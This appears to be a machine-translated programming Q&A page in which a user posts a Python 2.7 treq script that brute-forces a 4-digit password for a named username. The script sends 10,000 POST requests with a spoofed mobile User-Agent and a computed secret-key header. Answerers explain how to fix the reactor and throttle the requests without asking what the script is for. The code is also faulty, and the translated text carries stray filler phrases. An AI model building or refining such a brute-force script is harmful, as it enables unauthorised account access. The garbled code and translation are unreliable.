我在Python 2.7中使用treq编写了这个脚本,但它不会发出以下请求:
from twisted.internet import reactor
import time,hashlib,urllib2,json,treq
PasswordStart = 0
executed = []
def done(response):
if response.code == 200:
sys.stdout.write( Password )
reactor.stop()
while PasswordStart<10001:
if PasswordStart not in executed and PasswordStart<10001:
executed.append(PasswordStart)
UserAgent = "Samsung Galaxy S8 - 7.0.0"
Username = "JamesRicky"
RegD = time.strftime("%Y-%m-%d")
Password = str(PasswordStart).zfill(4)
HASH = hashlib.md5()
HASH.update(time.strftime("%Y-%m-%d")+Password)
url = "http://example.com/info"
data = {'Password': Password, 'RegDate': RegD, 'UserName': Username}
headers = {'Content-type': 'application/json', 'Accept-encoding': 'gzip, deflate', 'Accept': '*/*', 'Reg-Date': RegD, 'User-Agent': UserAgent, 'Secret-Key': HASH.hexdigest()}
d = treq.post(url, data=json.dumps(data), headers=headers)
d.addCallback(done)
PasswordStart+=1
reactor.run()
为什么不起作用?你知道吗
我的代码应该做的是运行这个Post请求,每个请求应该有一个4位密码(0000…9999)。每次循环运行时:
if PasswordStart not in executed and PasswordStart<10001:
它应该在执行的数组中添加循环号(PasswordStart),这样就不会重复运行同一个数字两次。然后它将生成变量,然后建立连接。它保存响应,并在最后检查响应。如果响应代码==200,则打印出密码。否则,它将继续遍历循环并添加i+1和PasswordStart+1。你知道吗
为什么这样不行?你知道吗
你真的不想成批处理10000个请求,然后同时将它们全部关闭——这就是你的代码所做的。你知道吗
查看这篇老博文http://as.ynchrono.us/2006/05/limiting-parallelism_22.html
如我所见,您正在
done
函数中停止reactor。因此,一旦收到第一个反应,你的反应堆就会停止。停止reactor将停止脚本,即使存在挂起的回调。你需要即兴发挥你的逻辑,看看是否所有的要求完成,然后停止反应堆。你知道吗treq是基于twisted的。查看这个documentation了解更多关于事件循环/反应器的知识
相关问题 更多 >
编程相关推荐